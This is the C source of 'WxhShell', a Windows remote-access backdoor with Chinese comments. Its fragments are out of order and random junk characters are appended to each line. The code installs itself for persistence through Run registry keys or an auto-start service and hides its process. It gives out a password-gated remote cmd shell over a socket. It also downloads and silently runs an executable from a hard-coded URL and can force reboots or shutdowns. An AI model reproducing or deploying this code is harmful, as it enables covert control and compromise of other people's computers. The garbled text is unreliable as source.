    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >4AwjS }H  
    if(Boot(SHUTDOWN)) z_9q T"vF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^p #bxN")  
    else {  1O@ cev;  
    closesocket(wsh); ~DK=&hCd!  
    ExitThread(0); 0,[- 4m  
    } ${, !Ll7)  
    break; m:5bb 3  
    } 4fdO Ow  
  // 获取shell x9H qc9q  
  case 's': { Gjf1Ba  
    CmdShell(wsh); %{";RfSVX%  
    closesocket(wsh); Y t0s  
    ExitThread(0); l`RFi)u~&  
    break; :<E\&6# oC  
  } ZUeA&&{  
  // 退出 y O?52YO  
  case 'x': { Zq"wq[GCN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bR|1* <  
    CloseIt(wsh); <fcw:Ae  
    break; xT3l>9i  
    } kX]p;C  
  // 离开 7#iT33(3  
  case 'q': { C)qP9uW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,DWC=:@X  
    closesocket(wsh); fm^)u"  
    WSACleanup(); mi{ r7.e5I  
    exit(1); JWs?az  
    break; W|[k]A` 2  
        } G X>T~i\f8  
  } 3`Q>s;DjIU  
  } u=p-]?  
kn7Qvk[+  
  // 提示信息 f%TP>)jag!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u:O6MO9^  
} jj"?#`cW  
  } E 5bo60z  
Z~Z+Yt;,9a  
  return; `_H^k !^  
} >dqeGM7Np>  
I45\xP4i  
// shell模块句柄 ~6:y@4&F  
int CmdShell(SOCKET sock) 4\EvJg@Z.  
{ 1'g{tP"d  
STARTUPINFO si; AA0zt N  
ZeroMemory(&si,sizeof(si)); W/| C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @V# wYt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lIF*$#`oh*  
PROCESS_INFORMATION ProcessInfo; "t)|N dZm  
char cmdline[]="cmd"; ;X2(G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J*CfG;Y:  
  return 0; Oe%jV,S|V  
} I`}<1~ue  
r<L>~S>yb  
// 自身启动模式 ='|HUxFi  
int StartFromService(void) HxH=~B1"P  
{ Z8Il3b*)  
typedef struct T~'9p`IW  
{ vdN0YCXG  
  DWORD ExitStatus; 66~]7w  
  DWORD PebBaseAddress; hFWK^]~ a  
  DWORD AffinityMask; hV4B?##O  
  DWORD BasePriority; 0NWtu]9QC  
  ULONG UniqueProcessId; -a$7b;gF  
  ULONG InheritedFromUniqueProcessId; d[.JEgU  
}   PROCESS_BASIC_INFORMATION; (KxL*gB  
0Ku%9wh-  
PROCNTQSIP NtQueryInformationProcess; HR83{B21  
xd`!z`X!,s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !56gJJ-r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R]{AJ"p  
2i~qihx5^  
  HANDLE             hProcess; \V,;F!*#G  
  PROCESS_BASIC_INFORMATION pbi; )\TI^%s  
ku}I; k |  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f~D> *<L4-  
  if(NULL == hInst ) return 0; NTtRz(   
:+>:>$ao  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S*1Km&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NCM&6<_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); : Gz#4k  
zl !`*{T{  
  if (!NtQueryInformationProcess) return 0; ly] n2RK  
~|~j01#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8oj-5|ct  
  if(!hProcess) return 0; H-,RzL/  
k99ANW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Uwqm?]  
a/wkc*}}/  
  CloseHandle(hProcess); \o j#*aL^  
xBC:%kG~#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IlcFW  
if(hProcess==NULL) return 0; rn?:utP  
txwTJScg  
HMODULE hMod; ZSTpA,+6  
char procName[255]; ~xg1mS9d  
unsigned long cbNeeded; Q`}n; DV  
mTzzF9n"Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~=,|dGAa$  
\ns#l@B  
  CloseHandle(hProcess); #?z 1cgCg  
L_rKVoKjt  
if(strstr(procName,"services")) return 1; // 以服务启动 a,U =irBA  
t*)-p:29h  
  return 0; // 注册表启动 1+^L,-k!  
} Xx0}KJ q~"  
WM}bM] oe  
// 主模块 k'BLos1W  
int StartWxhshell(LPSTR lpCmdLine) Ek,s6B)'d  
{ ;mLbJT   
  SOCKET wsl; 2Ax HhD.  
BOOL val=TRUE; Tdr^~dcQ  
  int port=0; [-sE:O`yt  
  struct sockaddr_in door; kE".v|@  
@:. 6'ji,`  
  if(wscfg.ws_autoins) Install(); gi7As$+E  
66%#$WH#  
port=atoi(lpCmdLine);  F%6`D  
imtW[y+4  
if(port<=0) port=wscfg.ws_port; j]"Yz t~u  
UP]J `\$o  
  WSADATA data; -< 7KW0CA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OZ q/'*  
WbS2w @8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <bf^'$l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ud`.}H~aB  
  door.sin_family = AF_INET; .O'gD.|^N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <)]B$~(a  
  door.sin_port = htons(port); m//(1hWv7  
VB 8t"5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +6!.)Ea=  
closesocket(wsl); >29eu^~nh  
return 1; Z<|ca T]Q(  
} P$)9osr  
-9U'yL90B  
  if(listen(wsl,2) == INVALID_SOCKET) { |Js96>B:  
closesocket(wsl); m)q;eQs  
return 1; ~}mX#,  
} sDCa&"6+@  
  Wxhshell(wsl); t?v0ylN  
  WSACleanup(); (*%+!PS  
u+zq:2)H6  
return 0; HPT9B?^  
P,O9On  
} KW.S)+<H&  
s&lZxnIjc  
// 以NT服务方式启动 Uc }L/ax  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mhM=$AIq  
{ q5[%B K  
DWORD   status = 0; ~"5WQK`@  
  DWORD   specificError = 0xfffffff; S{z%Q  
.J~iRhVOF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AdB5D_ Ir  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .l*]W!L]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j~"X`:=  
  serviceStatus.dwWin32ExitCode     = 0; fh \<tnY  
  serviceStatus.dwServiceSpecificExitCode = 0; H#G~b""mY  
  serviceStatus.dwCheckPoint       = 0; 11 .RG *  
  serviceStatus.dwWaitHint       = 0; nrA}36E  
[6 !/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {61NLF\0H  
  if (hServiceStatusHandle==0) return; +6f5uMKUvs  
''wWw(2O  
status = GetLastError(); r}QW!^F  
  if (status!=NO_ERROR) QHsS|\u  
{ jjz<V(Sk  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "31GC7  
    serviceStatus.dwCheckPoint       = 0; }qW%=;!  
    serviceStatus.dwWaitHint       = 0; `2NL'O:  
    serviceStatus.dwWin32ExitCode     = status; wLU w'Ai  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^<<( }3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5gV8=Ml"V  
    return; slHlfWHq  
  } 5\f*xY  
T{|'<KT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P,~a'_w:|D  
  serviceStatus.dwCheckPoint       = 0; 5D]%E?ag  
  serviceStatus.dwWaitHint       = 0; ~/\;7E{8!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @dJ s  
} m5zP|s1`['  
$Kb-mFR  
// 处理NT服务事件,比如:启动、停止 788q<7E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >9=Y(`  
{ _hMVv&$  
switch(fdwControl) q?Q"Ab  
{ 8R:H{)o~s}  
case SERVICE_CONTROL_STOP: `/]8C &u  
  serviceStatus.dwWin32ExitCode = 0; uHQJ&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 42Vy#t/HC  
  serviceStatus.dwCheckPoint   = 0; gA!-F}x$  
  serviceStatus.dwWaitHint     = 0; F)_Rs5V:(  
  { Ajq;\- :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4\2p8__  
  } \Ul*Nsw  
  return; IVkKmO(qO  
case SERVICE_CONTROL_PAUSE: bR*T}w$<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $z{HNY* 2  
  break; QD<^VY6  
case SERVICE_CONTROL_CONTINUE: ssi{(}H/Jv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cWp n/.a  
  break; BaiC;&(   
case SERVICE_CONTROL_INTERROGATE: -j]r\EVKS  
  break; `U!eh1*b  
}; yi# Nrc5B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `-s+  zG  
} J}`K&DtM9  
9T|7edl  
// 标准应用程序主函数 Nf0b?jn-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /n?5J`6  
{ m2{z  
tJ.LPgfZ  
// 获取操作系统版本 ~@BV  
OsIsNt=GetOsVer(); ,A =%!p+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); b\gl9"X  
XT~JP  
  // 从命令行安装 ;b cy(Fp,\  
  if(strpbrk(lpCmdLine,"iI")) Install(); C+ r--"Z  
F.PD5%/$q  
  // 下载执行文件 lEZ[0oa  
if(wscfg.ws_downexe) { RURO0`^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _ZzPy;[i?  
  WinExec(wscfg.ws_filenam,SW_HIDE); m]N 4.J  
} 2;[75(l6|}  
*-_` xe  
if(!OsIsNt) { ):LJ {.0R  
// 如果时win9x,隐藏进程并且设置为注册表启动 _\sm$ `q  
HideProc(); UH%?{>oRh  
StartWxhshell(lpCmdLine); N_q7ip%z  
} lUCdnp;w'  
else %~^R Iwm  
  if(StartFromService()) 9eGM6qW\_  
  // 以服务方式启动 I^M3>}p  
  StartServiceCtrlDispatcher(DispatchTable); } %S1OQC  
else 4p>@UB&U  
  // 普通方式启动 9Wx q  
  StartWxhshell(lpCmdLine); 5[X^1  
;5"r)F+P  
return 0; *M+:GH/5  
} 8xg:ItJaA0  
bU2)pD!N  
Sqc*u&W  
^;W,:y&  
=========================================== CL9p/PJ%e  
evg i\"  
dWD9YIYf  
}Ss#0Gee  
pK *-In  
RJF1~9  
" y"$|?187x  
./5|i*ow  
#include <stdio.h> wzo-V^+q  
#include <string.h> Ez<J+#)t  
#include <windows.h> }6C&N8 f  
#include <winsock2.h> tPC8/ntP8  
#include <winsvc.h> .__X[Mzth3  
#include <urlmon.h> b*dRNu  
1ZhJ?PI,9{  
#pragma comment (lib, "Ws2_32.lib") :$/lGIz  
#pragma comment (lib, "urlmon.lib")  A{5 k}  
Ha)w*1&w"  
#define MAX_USER   100 // 最大客户端连接数 kX[I|Z=  
#define BUF_SOCK   200 // sock buffer vj?9X5A_  
#define KEY_BUFF   255 // 输入 buffer HEjV7g0E  
4y 582u6^  
#define REBOOT     0   // 重启 dHf_&X2A  
#define SHUTDOWN   1   // 关机 vWe)cJ  
8EbYk2j  
#define DEF_PORT   5000 // 监听端口 `j4ukOnG  
rm3 ~]  
#define REG_LEN     16   // 注册表键长度 i1  SP  
#define SVC_LEN     80   // NT服务名长度 !ybEv | =  
h5Qxa$Oq  
// 从dll定义API MfeW|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6prN,*k5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *1;<xeVD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G-M!I`P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {l *ps-fi  
^>g+:?x  
// wxhshell配置信息 T{sw{E*  
struct WSCFG { K Qub%`n  
  int ws_port;         // 监听端口 vx!nC}f"k`  
  char ws_passstr[REG_LEN]; // 口令 &z1r$X.AW  
  int ws_autoins;       // 安装标记, 1=yes 0=no ms;Lu- UR  
  char ws_regname[REG_LEN]; // 注册表键名 4"l(rg  
  char ws_svcname[REG_LEN]; // 服务名 "vU:qwm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cQ3Dk<GZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5IdmKP|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nV:.-JR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T`a [~:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /MQd[03]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eg?vYW  
7OC ,KgJ3  
}; qG=`'%,m  
;EF s2-{K  
// default Wxhshell configuration O_F<VV*MFQ  
struct WSCFG wscfg={DEF_PORT, `Ph4!-6#  
    "xuhuanlingzhe", ]7dm`XV  
    1, {r'#(\  
    "Wxhshell", m&2< ?a}l  
    "Wxhshell", 7F|T5[*l  
            "WxhShell Service", 0p Lb<&  
    "Wrsky Windows CmdShell Service", r(cS{oni  
    "Please Input Your Password: ", PJA 1/"  
  1, OWOj|jM  
  "http://www.wrsky.com/wxhshell.exe", G;fP  
  "Wxhshell.exe" ix7N q7!N  
    }; &)xoR4!2  
+ ` Em&  
// 消息定义模块 fKrOz! b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [|k@Suv |z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O$$s]R6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [(#ncR8B  
char *msg_ws_ext="\n\rExit."; iCl,7$[*  
char *msg_ws_end="\n\rQuit."; Bj%{PK  
char *msg_ws_boot="\n\rReboot..."; Rq4\~F?  
char *msg_ws_poff="\n\rShutdown..."; $ZQPf  
char *msg_ws_down="\n\rSave to "; )2bPu[U  
'7xmj:.==  
char *msg_ws_err="\n\rErr!"; 4!/{CGP  
char *msg_ws_ok="\n\rOK!"; .f(x9|K^  
] MUuz'<  
char ExeFile[MAX_PATH]; 3b#KrN'  
int nUser = 0; 8uT@$ ./  
HANDLE handles[MAX_USER]; g&BF#)7C  
int OsIsNt; (U$ F) 7  
*QAK9mc  
SERVICE_STATUS       serviceStatus; Z[0xqGYLB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Qs;bVlp!H  
!Otyu6&  
// 函数声明 17<\Q(YQ=  
int Install(void); hz\7Z+$L_  
int Uninstall(void); s|EP/=9i  
int DownloadFile(char *sURL, SOCKET wsh); EkOBI[`  
int Boot(int flag); ~2rZL  
void HideProc(void); nBGk%NM 8  
int GetOsVer(void); 93o}vy->  
int Wxhshell(SOCKET wsl); [[[p@d/Y  
void TalkWithClient(void *cs); s)ZL`S?</  
int CmdShell(SOCKET sock); 7U?x8%H*  
int StartFromService(void); Bz7T1B&to  
int StartWxhshell(LPSTR lpCmdLine); $+7M Y-9T  
T-|z18|!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6AZ/whn#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pfi '+I`s  
AbLOq@lrK  
// 数据结构和表定义 ;znIY&Z  
SERVICE_TABLE_ENTRY DispatchTable[] = Y}nE/bmx&9  
{  eCk}B$ 2  
{wscfg.ws_svcname, NTServiceMain}, NsWyxcty  
{NULL, NULL} iSIj ?.  
}; g%RL9-z  
e-{k;V7b  
// 自我安装 <K4'|HU/  
int Install(void) @uT\.W:Q2  
{ E(TL+o  
  char svExeFile[MAX_PATH]; 193Q  
  HKEY key; sl/#1B   
  strcpy(svExeFile,ExeFile); pjHUlQ   
.rN 5A+By`  
// 如果是win9x系统,修改注册表设为自启动 7M^!t X  
if(!OsIsNt) { ;wTl#\|w0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m./lrz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oryoGy=(yk  
  RegCloseKey(key); %4+r&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C4Bh#C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {!'AR`|  
  RegCloseKey(key); QXgh[9w G  
  return 0; *Pw; ;#\B  
    } ,Qj7wFZ  
  } 2hmV 1gj  
} >KM<P[BRd  
else { In^$+l%O[  
H$;K(,'  
// 如果是NT以上系统,安装为系统服务 O1rnF3Be  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X`^9a5<"  
if (schSCManager!=0) XP6R$0yN  
{ ).-B@&Eu%  
  SC_HANDLE schService = CreateService 0'z$"(6D  
  ( !*+~R2&b  
  schSCManager, )Hl;9  
  wscfg.ws_svcname, (j}"1  
  wscfg.ws_svcdisp, K~v"%sG{`  
  SERVICE_ALL_ACCESS, 0I~xD9l9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }MXZ  
  SERVICE_AUTO_START, yv4hH4Io  
  SERVICE_ERROR_NORMAL, (K^9$w]tf  
  svExeFile, NaB8cLURp  
  NULL, n1.]5c3p  
  NULL, {gK i15t  
  NULL, ?sp  
  NULL, *vUKh^="  
  NULL m{gt(n  
  ); :4&qASn  
  if (schService!=0) xJN JvA  
  { Uhb6{'+  
  CloseServiceHandle(schService); YG"P:d;s  
  CloseServiceHandle(schSCManager); &xrm;pO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }T4"#'`  
  strcat(svExeFile,wscfg.ws_svcname); ##1[/D(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MP;7 u%   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Vk@u|6U'  
  RegCloseKey(key); rc 9 \  
  return 0; 8Z FPs/HP  
    } kJHUaXM  
  } $*L@y m  
  CloseServiceHandle(schSCManager); J3y5R1?EP  
} d!e$BiC  
} yxLGseD  
KzI$GU3  
return 1; )bw^!w)  
} U#d&#",s  
t<~riFs]  
// 自我卸载 ~U ?cL-`n  
int Uninstall(void) tezsoR!.ak  
{ )5Gzk&|  
  HKEY key; 2vu"PeU9  
]0V~|<0c  
if(!OsIsNt) { !)_80O1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6&$z!60  
  RegDeleteValue(key,wscfg.ws_regname); Lt|k}p@]  
  RegCloseKey(key); UH.M)br  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !|!:MYn  
  RegDeleteValue(key,wscfg.ws_regname); byyz\>yAVq  
  RegCloseKey(key); FyQ  
  return 0; iV(B0z  
  } Qh%7RGh_  
} a}0\kDe  
} o^d(mJZ.F~  
else { }g5h"N\$o  
Y-gjX$qGo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E;| q  
if (schSCManager!=0) kO~xE-(=  
{ n M,m#"AI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W446;)?5  
  if (schService!=0) h,rGa\X~0  
  { kIP~XV~  
  if(DeleteService(schService)!=0) { b ]1SuL  
  CloseServiceHandle(schService); _I3j 7f,V  
  CloseServiceHandle(schSCManager); dkLc"$( O  
  return 0; *N[.']#n  
  } O&E1(M|*>  
  CloseServiceHandle(schService); FFK79e/5  
  } 9k&lq$  
  CloseServiceHandle(schSCManager); r-H~MisL  
} E6y/,s^~S_  
} gB71~A{J  
Y}(v[QGV  
return 1; 6V*@ {  
} 4US8B=jk  
TW:vL~L  
// 从指定url下载文件 k2,n:7  
int DownloadFile(char *sURL, SOCKET wsh) V.: a6>]  
{ B`iQN7fd  
  HRESULT hr; %n=!H  
char seps[]= "/"; U$ _?T-x  
char *token; \02j~r`o  
char *file; s|"V$/X(W  
char myURL[MAX_PATH]; "|.>pD#0&  
char myFILE[MAX_PATH]; -r/#20Y  
el;^cMY  
strcpy(myURL,sURL); [ C] =p  
  token=strtok(myURL,seps); -TjYQ  
  while(token!=NULL) eLL> ThMyW  
  { yL_-w/a  
    file=token; {ZY^tTsY  
  token=strtok(NULL,seps); $/Zsy6q:  
  } zf5s\w.4  
0F0V JE  
GetCurrentDirectory(MAX_PATH,myFILE); 8Rc4+g  
strcat(myFILE, "\\"); FWq 6e,  
strcat(myFILE, file); 0r_8/|N#  
  send(wsh,myFILE,strlen(myFILE),0); f&7SivS#  
send(wsh,"...",3,0); MS_&;2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X+?*Tw!\  
  if(hr==S_OK) B#B$w_z  
return 0; F, %qG,  
else zTAt% w5  
return 1; Haaungb"  
%*oz~,i  
} E )09M%fe  
cx1U6A+  
// 系统电源模块 {ylc 2 1  
int Boot(int flag) J,4]d u$  
{ |.*),t3 (w  
  HANDLE hToken; pvDr&n9  
  TOKEN_PRIVILEGES tkp; HJ !)D~M{  
[qIi_(%o  
  if(OsIsNt) { wU2y<?$\8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]Qkto4DQ5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !5? #^q  
    tkp.PrivilegeCount = 1; [j 'Ogm7"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jF Bq>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bqsb (C  
if(flag==REBOOT) { ^ Gq2"rDM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *P61q\2Z  
  return 0; i"F'n0*L  
} 4+$<G/K  
else { ;=5V)1~i1;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NQ'^ z  
  return 0; B5  C]4  
} % 95:yyH 0  
  } 3wX{U8mrg  
  else { =yz#L@\!  
if(flag==REBOOT) { !jU<(eY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rf@/<Wu  
  return 0; <{[AG3/Zj4  
} h<Yn0(.  
else { qaA\.h7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ig")bt3s5  
  return 0; })M$#%(  
} >|o-&dk  
} mkk74NY  
c1jHg2xim  
return 1; U^+9l?ol  
} ?" {+m  
ga4 gH>4  
// win9x进程隐藏模块 h$f/NSct2  
void HideProc(void) nxsQDw\hy  
{ 3+EJ%  
v@XQ)95]F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bL)g+<:F  
  if ( hKernel != NULL ) _ZzN}!Mye  
  { Q= + Frsk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .sbU-_ij@U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9(|[okB  
    FreeLibrary(hKernel); +y6|Nq  
  } tmRD$O%:  
cEsBKaN  
return; i\3BA"ZX  
} -102W{V/T  
<^~Xnstl  
// 获取操作系统版本 ' uo`-Y  
int GetOsVer(void) u5H#(&Om  
{ }<2F]UuR  
  OSVERSIONINFO winfo; a_waLH/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }(a y(  
  GetVersionEx(&winfo); U"%k4]:A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pvI(hjMYPk  
  return 1; Uf4QQ `c#  
  else Rb#Z'1D'G  
  return 0; {;n?c$r  
} }E*d)n|  
9`4h"9dO  
// 客户端句柄模块 ,\+tvrR4X  
int Wxhshell(SOCKET wsl) )@]-bPnv  
{ x3PeU_9  
  SOCKET wsh; ii2oWU  
  struct sockaddr_in client; R>/M>*C  
  DWORD myID; g"(N_sv?  
pcur6:8W!  
  while(nUser<MAX_USER) a}i{b2B  
{ '8*gJ7]  
  int nSize=sizeof(client); $#]?\psf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /nv1 .c)k  
  if(wsh==INVALID_SOCKET) return 1; reu[}k~  
IH\k_Yf#u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2O<S ig=  
if(handles[nUser]==0) )P|%=laE8  
  closesocket(wsh); >z>UtT:  
else Mky$#SI11  
  nUser++; L9Fx Lw41  
  } "'t<R}t!A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p\+#`] Q7}  
n  'P:  
  return 0; &0(2Z^Z>fw  
} 7 aDI6G  
%bDd  
// 关闭 socket "sT`Dhr  
void CloseIt(SOCKET wsh) ^}/YGAA  
{ *n}9_V%  
closesocket(wsh); *XniF~M  
nUser--; qgI Jg6x/}  
ExitThread(0); 1yX&iO^d  
} ;4 ?%k )  
7w>"M  
// 客户端请求句柄 P%ZWm=lg  
void TalkWithClient(void *cs) GdG%=+  
{ ngeX+@  
EF"ar  
  SOCKET wsh=(SOCKET)cs; T?AGQcG  
  char pwd[SVC_LEN]; .8b 4  
  char cmd[KEY_BUFF]; P2`ks[u+i  
char chr[1];  %ef+Z  
int i,j; Q.z2 (&  
}[LK/@h  
  while (nUser < MAX_USER) { KO)<Zh  
`(Q58wR}  
if(wscfg.ws_passstr) { hZ2PP ^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Mo O2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +QldZba  
  //ZeroMemory(pwd,KEY_BUFF); {H])Fob  
      i=0; PDD` eK}Fj  
  while(i<SVC_LEN) { pM(y?zGt  
:\4O9f*5+  
  // 设置超时 })mez[UmZ  
  fd_set FdRead; }ZVNDvGH  
  struct timeval TimeOut; /jj@ =H  
  FD_ZERO(&FdRead); ZN1QTb  
  FD_SET(wsh,&FdRead); {GHGFi`Z  
  TimeOut.tv_sec=8; yt!K|g  
  TimeOut.tv_usec=0; Z#V[N9L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uUc[s"\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -F8%U:2a  
3g-}k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ARQ1H0_B  
  pwd=chr[0]; /23v]HEPy  
  if(chr[0]==0xd || chr[0]==0xa) { ,pLesbI  
  pwd=0; jDXmre?  
  break; _ORW'(:Z  
  } tmb0zuJ&C!  
  i++; da I-*  
    } t:M>&r:BL  
0HNe44oI+D  
  // 如果是非法用户,关闭 socket _I$]L8hC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <7 PtC,74  
} A)`M*(~  
][?GJ"O+U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z<&: W8n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {<kl)}  
.-WCB  
while(1) { $mlsFBd  
=A!I-@]q<  
  ZeroMemory(cmd,KEY_BUFF); 57[O)5u.+  
JRodYXjE  
      // 自动支持客户端 telnet标准   l  
  j=0; ImF/RKI~ "  
  while(j<KEY_BUFF) { xUSIck  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q|xPm:  
  cmd[j]=chr[0]; u"|.]r  
  if(chr[0]==0xa || chr[0]==0xd) { koqH~>ZtD  
  cmd[j]=0; E&[ox[g{  
  break; ~4\bR  
  } 7,+:Q Y@  
  j++; )%MB o.NL  
    } rcyH2)Y/e  
_@^msyoq  
  // 下载文件 jXW71$B  
  if(strstr(cmd,"http://")) { SR43#!99Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mS%D" e  
  if(DownloadFile(cmd,wsh)) ")sq?1?X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DD~8:\QD  
  else el[6E0!@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w\@Anwj#L  
